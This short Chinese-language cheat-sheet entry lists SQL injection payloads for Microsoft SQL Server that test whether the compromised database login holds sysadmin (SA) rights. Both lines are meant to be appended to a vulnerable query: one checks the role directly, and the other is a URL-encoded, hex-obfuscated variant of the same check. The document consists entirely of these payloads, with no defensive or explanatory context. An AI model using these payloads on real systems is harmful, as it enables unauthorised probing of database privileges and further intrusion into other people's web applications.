sql检测是否为SA权限语句

 　　检测是否为SA权限

　　and 1=(select IS_SRVROLEMEMBER('sysadmin'));--

　　And char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --